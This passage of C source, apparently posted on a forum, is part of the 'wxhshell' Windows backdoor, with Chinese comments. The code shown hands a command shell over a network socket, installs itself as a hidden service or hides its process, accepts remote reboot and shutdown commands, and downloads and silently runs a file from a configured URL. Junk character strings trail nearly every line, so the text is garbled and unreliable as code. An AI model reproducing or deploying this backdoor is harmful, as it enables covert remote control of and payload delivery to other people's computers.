  } D\_*,Fc  
  else { b3 %&   
Ph! KL\  
    switch(cmd[0]) { jQK2<-HZ3  
  0t:|l@zB  
  // 帮助 v^lm8/}NO  
  case '?': { Y(G*Yi?;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O7<V@GL+  
    break; 5f^`4 pT  
  } fB @pwmu  
  // 安装 1!v >I"]  
  case 'i': {  ]5)&36  
    if(Install()) "|l oSf@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3/SqXu  
    else v_1JH<GJ-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b#\ k Z/W  
    break; -~Z@,  
    } 9T0wdK]  
  // 卸载 J 1y2Qw$G  
  case 'r': { 9OJ\n|,(  
    if(Uninstall()) y 4,T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s$nfY.C  
    else pg}DC0a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MS*Mem,  
    break; \Dsl7 s=  
    } as!|8JE`  
  // 显示 wxhshell 所在路径 I` n1M+=%  
  case 'p': { +IOKE\,Y  
    char svExeFile[MAX_PATH]; ]zM90$6  
    strcpy(svExeFile,"\n\r"); -"JE-n  
      strcat(svExeFile,ExeFile); )V+Dqh,-g  
        send(wsh,svExeFile,strlen(svExeFile),0); :EldP,s#x%  
    break; ,9l!fT?iH  
    } '$L= sH5  
  // 重启 <&m  
  case 'b': { B=RKi\K6a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J<P/w%i2  
    if(Boot(REBOOT)) @1qUC"Mg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t"74HZO >  
    else { *}WqYqOow  
    closesocket(wsh); ?$8 ,j+&I  
    ExitThread(0); EpoQV^ Ey  
    } $lG--s  
    break; 7[?}kG   
    } >8mW-p  
  // 关机 #<V'gE  
  case 'd': { 5bqYi  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V:" \(Y  
    if(Boot(SHUTDOWN)) va*>q-QCr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ea[a)Z7#  
    else { xyJgHbml  
    closesocket(wsh); <wGT s6  
    ExitThread(0); []fj~hj  
    } W!9f'Yn  
    break; RV@(&eM  
    } ABYW1K=  
  // 获取shell &WWO13\qd  
  case 's': { 9{J8q  
    CmdShell(wsh); ~[X:twidkL  
    closesocket(wsh); t-ReT_D|;  
    ExitThread(0); Z_ *ZUN?B  
    break; w7ABnX  
  } "@'9+$i6  
  // 退出 ;>hPHx  
  case 'x': { >a] s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H-y-7PW*~  
    CloseIt(wsh); oO9iB:w  
    break; PL B=%[  
    } ++RmaZ  
  // 离开 sVl:EVv  
  case 'q': { 'A@Oia1;{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C g,w6<7  
    closesocket(wsh); g8@i_  
    WSACleanup(); [z t&8g  
    exit(1); D `3yv R  
    break; R8Ei:f}  
        } $,@ +Ua  
  } ha'm`LiX  
  } I Y-5/  
I)4|?tb ?  
  // 提示信息 Gqu0M`+7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u6&Ixi/s'  
} o\YdL2:X  
  } '$nGtB5  
;iI2K/ 3  
  return; ov.rHVeI  
} .3SjkC4I  
6B P%&RL  
// shell模块句柄 o~N-x*   
int CmdShell(SOCKET sock) `)_FO]m}jS  
{ _5 -"<  
STARTUPINFO si; uPD_s[  
ZeroMemory(&si,sizeof(si)); g(/O)G.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E*]L]vR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f*f9:xUY  
PROCESS_INFORMATION ProcessInfo; NY w(hAPv  
char cmdline[]="cmd"; Xst}tz62F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [-}%B0S**  
  return 0; obkv ]~  
} iFT3fP'> 5  
Eu_0n6J  
// 自身启动模式 c=mFYsSv  
int StartFromService(void) ::t !W7W  
{ #!<s& f|O  
typedef struct a.ME{:a%  
{ 6iS+3+  
  DWORD ExitStatus; Yhdt8[ 2  
  DWORD PebBaseAddress; N^>g= Ub  
  DWORD AffinityMask; (bXp1*0 ;  
  DWORD BasePriority; >@\-m  
  ULONG UniqueProcessId; *Fs^T^ ?r  
  ULONG InheritedFromUniqueProcessId; FiH!) 6T  
}   PROCESS_BASIC_INFORMATION; @ uWD>(D  
Kn]WXc|("  
PROCNTQSIP NtQueryInformationProcess; lKSI5d  
=swcmab;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =z dti'2{4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "@Fxfd+Ot  
BF#e=p  
  HANDLE             hProcess; 27gm_ *  
  PROCESS_BASIC_INFORMATION pbi; 79fg%cSb  
 vpMv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a_x6 v*  
  if(NULL == hInst ) return 0; sRG3`>1  
(\_d'Js(;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3s Nq3I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :@L5=2Z+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]].21  
WNi<|A#T{  
  if (!NtQueryInformationProcess) return 0; 1+#8} z:  
8hY)r~!b'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G)`MoVH1  
  if(!hProcess) return 0; f# + h_1#  
; U4X U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C?J%^?v  
bvKi0-  
  CloseHandle(hProcess); W_EN4p~J  
|^&e\8>.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2:yv:7t/  
if(hProcess==NULL) return 0; >oNs_{  
Wov_jVdN\  
HMODULE hMod; wOP}SMn  
char procName[255]; pcG q  
unsigned long cbNeeded; ??;[`_h{bz  
S7*:eo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o\#e7Hqbh  
04TV. /uA  
  CloseHandle(hProcess); ^S @b*  
,`b9c=6;  
if(strstr(procName,"services")) return 1; // 以服务启动 x$*OglaS  
dX*PR3I-3  
  return 0; // 注册表启动 :csLZqn[  
} Qp}<8/BM\  
:KwYuwYS  
// 主模块 >E#4mm  
int StartWxhshell(LPSTR lpCmdLine) Wj0([n  
{ 2vLn#  
  SOCKET wsl; HV?@MBM  
BOOL val=TRUE; `7`iCYiTy  
  int port=0; d!cx%[  
  struct sockaddr_in door; f32nO  
:1Ay_ b_J  
  if(wscfg.ws_autoins) Install(); 6IA~bkc}  
cD]t%`*  
port=atoi(lpCmdLine); U.\kAEJ  
F/h)azcn  
if(port<=0) port=wscfg.ws_port; 3-0Y<++W3>  
tfO _b5g  
  WSADATA data; _#I0m(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &f$jpIyVX  
^B<jMt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :hr%iu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YAD9'h]d\  
  door.sin_family = AF_INET; '` n\YO.N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YB[P`Muj  
  door.sin_port = htons(port); TA*49Qp  
&Ef'5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oPi)#|jcb  
closesocket(wsl); B; ~T|exu  
return 1; "qF8'58  
} 7J)-WXk  
4&tY5m>  
  if(listen(wsl,2) == INVALID_SOCKET) { wx<DzC  
closesocket(wsl); *<KY^;  
return 1; f_}55?i0  
} 0@2%pIq\  
  Wxhshell(wsl); r*$KF!-dg  
  WSACleanup(); =^6]N~*,D  
P;h/)-q8  
return 0; `*! .B  
F4*f_lP  
} ]RV6( |U4_  
&#~yci2{  
// 以NT服务方式启动 Te;`-E L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7#Mi`W  
{ h)sc-e  
DWORD   status = 0; H}A67J9x  
  DWORD   specificError = 0xfffffff; zdtzR<X   
} pA0mW9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B<i1UJ5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t1xX B^.M{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {jbOcx$t  
  serviceStatus.dwWin32ExitCode     = 0; g=b 'T-  
  serviceStatus.dwServiceSpecificExitCode = 0; Hh,\>= ':  
  serviceStatus.dwCheckPoint       = 0; L,n'G%  
  serviceStatus.dwWaitHint       = 0; 7z`)1^ M  
Dzb@H$BQ7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [<6ez;2q'  
  if (hServiceStatusHandle==0) return; [(]uin+9Q  
gmt`_Dpm$  
status = GetLastError(); B \BP:;"  
  if (status!=NO_ERROR) 21W>}I"0?  
{ l{6fR(d ?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -K PbA`j+  
    serviceStatus.dwCheckPoint       = 0; )%P!<|s:5  
    serviceStatus.dwWaitHint       = 0; x]w%?BlS  
    serviceStatus.dwWin32ExitCode     = status; MK,#"Ty}zK  
    serviceStatus.dwServiceSpecificExitCode = specificError; K-#v5_*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H&l/o  
    return; ^k/@y@%  
  } z" 4$mh  
[WuN?H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -:Yx1Y3 [  
  serviceStatus.dwCheckPoint       = 0; y3 kXfSe  
  serviceStatus.dwWaitHint       = 0; 0rooL<~fa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  9/`T]s"  
} W A-\2  
'jqkDPn  
// 处理NT服务事件,比如:启动、停止 6ID@0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZE#A?5lb  
{ /a Nlr>^  
switch(fdwControl) sZA7)Z`7  
{ fn;`Vit#  
case SERVICE_CONTROL_STOP: l'm!e'7_  
  serviceStatus.dwWin32ExitCode = 0; _I+QInD;)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [Q6PFdQ_JT  
  serviceStatus.dwCheckPoint   = 0; VI/77  
  serviceStatus.dwWaitHint     = 0; $zKf>[K  
  { RX\%R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Igrr"NuDZ  
  } 2XNO*zbve  
  return; W:' H&`0  
case SERVICE_CONTROL_PAUSE: G*JasHFs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^,*!Qk<c  
  break; BRyrdt*_e  
case SERVICE_CONTROL_CONTINUE: tP^2NTs%]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z0 @P1  
  break; S8 .1%sw  
case SERVICE_CONTROL_INTERROGATE: n Hz Xp:"  
  break; @T)kqT  
}; XOsuRI ?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LR%]4$ /M  
} [`2V!rU  
{S,L %  
// 标准应用程序主函数 lf-1;6nyk"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y<|8OTT  
{ [3o^06V8j  
#%5[8~&  
// 获取操作系统版本 0w<vc}{t  
OsIsNt=GetOsVer(); &P'd&B1   
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6 b-'Hui+  
wkc)2z   
  // 从命令行安装 }xJ ).D  
  if(strpbrk(lpCmdLine,"iI")) Install(); )&Af[m S  
zO)Bf(  
  // 下载执行文件 4sMA'fG  
if(wscfg.ws_downexe) { o+*7Q!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yI$KBx/]n  
  WinExec(wscfg.ws_filenam,SW_HIDE); w]1Ltq*g/  
} r^zra|]  
fkk&pu  
if(!OsIsNt) { #|-i*2@oR  
// 如果时win9x,隐藏进程并且设置为注册表启动 \ ]v>#VXr_  
HideProc(); e>J.r("f  
StartWxhshell(lpCmdLine); "d"6.ND  
} ((Uw[8#2 `  
else SJ*qgI?}T  
  if(StartFromService()) zPm|$d  
  // 以服务方式启动 Ndmki 7A  
  StartServiceCtrlDispatcher(DispatchTable); \&BT#8ELG  
else BMi5F?Q'G  
  // 普通方式启动 Tji*\<?  
  StartWxhshell(lpCmdLine); NWue;u^  
(! a;}V<7  
return 0; 9w!PA-) L  
}
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只看该作者 1 发表于: 2006-10-10
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